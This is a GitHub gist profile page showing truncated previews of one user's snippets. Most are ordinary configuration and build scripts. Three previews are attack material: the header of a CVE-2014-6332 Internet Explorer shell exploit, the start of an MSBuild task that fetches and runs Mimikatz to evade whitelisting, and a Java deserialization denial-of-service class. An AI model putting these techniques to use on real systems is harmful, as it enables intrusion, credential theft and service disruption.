Skip to content

Instantly share code, notes, and snippets.

View crmaxx's full-sized avatar

Maxim Zhukov crmaxx

  • Russia, Vladimir
View GitHub Profile
@crmaxx
crmaxx / cve-2014-6332_win7_ie11_poc.html
Created September 7, 2016 09:14 — forked from worawit/cve-2014-6332_win7_ie11_poc.html
CVE-2014-6332 PoC to get shell or bypass protected mode
<html>
<head>
<!--
CVE-2014-6332 PoC to get meterpreter shell or bypass IE protected mode
- Tested on IE11 + Windows 7 64-bit
References:
- original PoC - http://www.exploit-db.com/exploits/35229/
- http://blog.trendmicro.com/trendlabs-security-intelligence/a-killer-combo-critical-vulnerability-and-godmode-exploitation-on-cve-2014-6332/
- http://security.coverity.com/blog/2014/Nov/eric-lippert-dissects-cve-2014-6332-a-19-year-old-microsoft-bug.html
@crmaxx
crmaxx / katz.xml
Created October 17, 2016 10:35
Downloads Mimikatz From GitHub, Executes Inside of MsBuild.exe
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This inline task executes c# code. -->
<!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe katz.xml -->
<Target Name="Hello">
<SharpLauncher >
</SharpLauncher>
</Target>
<UsingTask
TaskName="SharpLauncher"
TaskFactory="CodeTaskFactory"
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.HashSet;
import java.util.Set;
// billion-laughs-style DoS for java serialization
public class SerialDOS {
@crmaxx
crmaxx / Kali 2.0 ISO Build
Created October 18, 2016 11:47 — forked from jgamblin/Kali 2.0 ISO Build
Build Your Own Kali 2.0 ISO
##################################################################
Install live-build
##################################################################
sudo apt-get install live-build
##################################################################
Git clone the live-build configs
##################################################################
git clone git://git.kali.org/live-build-config.git
@crmaxx
crmaxx / Ugreen_USB_Ethernet_masOS.txt
Created December 27, 2016 10:09
Install Ugreen USB 3.0 gigabit ethernet on masOS
Install Ugreen USB 3.0 gigabit ethernet on masOS
Check product information
$ system_profiler SPUSBDataType
...
AX88179:
Product ID: 0x1790
Vendor ID: 0x0b95 (ASIX Electronics Corporation)
# stop iTunes from auto-playing after import
defaults write com.apple.iTunes play-songs-while-importing -bool FALSE
# sublime text 3 as default editor
defaults write com.apple.LaunchServices/com.apple.launchservices.secure LSHandlers -array-add \
'{LSHandlerContentType=public.plain-text;LSHandlerRoleAll=com.sublimetext.3;}'
sudo reboot
@crmaxx
crmaxx / netscanner-unicorn.service
Last active January 31, 2017 13:04
systemd service file
#####################################################
#
# Netscanner version : master
# Contributors : crmaxx
# Downloaded from : https://gist.github.com/crmaxx/4c428bd6e121d18c43e176c6f808d471
#
####################################################
[Unit]
Description=Netscanner Unicorn Server
@crmaxx
crmaxx / psibuild.command
Created February 17, 2017 12:31 — forked from bvp/psibuild.command
Psi+ build script for Mac OS X
#!/bin/bash
#######################################################################
# #
# Universal build script of Psi+ under MacOS X #
# Универсальный скрипт сборки Psi+ под MacOS X #
# #
#######################################################################
# REQUIREMENTS / ТРЕБОВАНИЯ
#!/bin/sh
if [ -e '/Applications/Emacs.app' ]; then
t=()
if [ ${#@} -ne 0 ]; then
while IFS= read -r file; do
[ ! -f "$file" ] && t+=("$file") && /usr/bin/touch "$file"
file=$(echo $(cd $(dirname "$file") && pwd -P)/$(basename "$file"))
$(/usr/bin/osascript <<-END
@crmaxx
crmaxx / .spacemacs
Last active February 20, 2017 13:37
;; -*- mode: emacs-lisp -*-
;; This file is loaded by Spacemacs at startup.
;; It must be stored in your home directory.
(defun dotspacemacs/layers ()
"Configuration Layers declaration."
(setq-default
;; List of additional paths where to look for configuration layers.
;; Paths must have a trailing slash (i.e. `~/.mycontribs/')
dotspacemacs-configuration-layer-path '()